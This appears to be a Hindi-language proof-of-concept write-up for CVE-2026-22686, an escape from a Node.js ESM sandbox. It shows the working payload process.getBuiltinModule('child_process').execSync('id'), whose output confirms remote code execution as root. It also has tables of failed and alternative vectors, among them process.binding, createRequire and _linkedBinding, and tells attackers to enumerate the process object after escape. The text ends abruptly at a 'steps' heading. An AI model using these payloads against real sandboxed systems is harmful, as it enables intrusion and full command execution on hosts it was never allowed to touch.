
CVE-2026-22686 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Node.js ESM सैंडबॉक्स में process.getBuiltinModule के माध्यम से मॉड्यूल प्रतिबंधों को बायपास करके रिमोट कोड एक्ज़ीक्यूशन प्रदर्शित करता है।
| वेक्टर | परिणाम |
|---|
require('child_process') | ❌ require is not defined — ESM में उपलब्ध नहीं |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — ESM में mainModule undefined है |
import('child_process') | ❌ A dynamic import callback was not specified — सैंडबॉक्स में कॉन्फ़िगर न किया गया हुक आवश्यक है |
process.binding('spawn_sync') | ⚠️ उपलब्ध लेकिन बहुत निम्न-स्तरीय — मैन्युअल syscall निर्माण की आवश्यकता है |
process.getBuiltinModuleमॉड्यूल लोडिंग विधि मानने के बजाय, हम सीधे होस्ट कॉन्टेक्स्ट से process कुंजियों की गणना करते हैं (सैंडबॉक्स एस्केप के बाद पहले से ही सुलभ):
return Object.keys(process)
लौटाई गई कुंजियों में, getBuiltinModule की पहचान की गई — एक Node.js 22+ नेटिव API जिसे विशेष रूप से ESM मॉड्यूल को require या import() के बिना Node.js के बिल्ट-इन मॉड्यूल तक पहुंचने की अनुमति देने के लिए डिज़ाइन किया गया है।
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE की पुष्टि
यह मुख्य अंतर्दृष्टि है: process.getBuiltinModule एक अपेक्षाकृत नया API है (Node.js >= 22.3.0) और इसे अक्सर सैंडबॉक्स कार्यान्वयन और WAF नियमों द्वारा अनदेखा किया जाता है जो require और import को ब्लॉक करते हैं।
लक्ष्य वातावरण के आधार पर, process की गणना करने के बाद अन्य वेक्टर उपलब्ध हो सकते हैं:
| वेक्टर | Node.js संस्करण | नोट्स |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ सबसे स्वच्छ — आधिकारिक ESM-सुरक्षित API |
process.binding('spawn_sync') | सभी | ⚠️ निम्न-स्तरीय, मैन्युअल बफर निर्माण की आवश्यकता |
process.mainModule.require(...) | केवल CJS | ❌ ESM में undefined |
__non_webpack_require__ | Webpack बंडल | ⚠️ पर्यावरण-विशिष्ट |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ होस्ट से Module संदर्भ की आवश्यकता |
process._linkedBinding('node_os') | आंतरिक बिल्ड | ⚠️ शायद ही कभी उजागर |
मुख्य निष्कर्ष: होस्ट कॉन्टेक्स्ट एक्सेस प्राप्त करने के बाद हमेशा
Object.keys(process)की गणना करें। उपलब्ध हमले की सतह Node.js संस्करण और प्रोजेक्ट कॉन्फ़िगरेशन के अनुसार काफी भिन्न होती है। आधुनिक Node.js ESM वातावरण मेंgetBuiltinModuleसबसे विश्वसनीय वेक्टर है।
चरण:
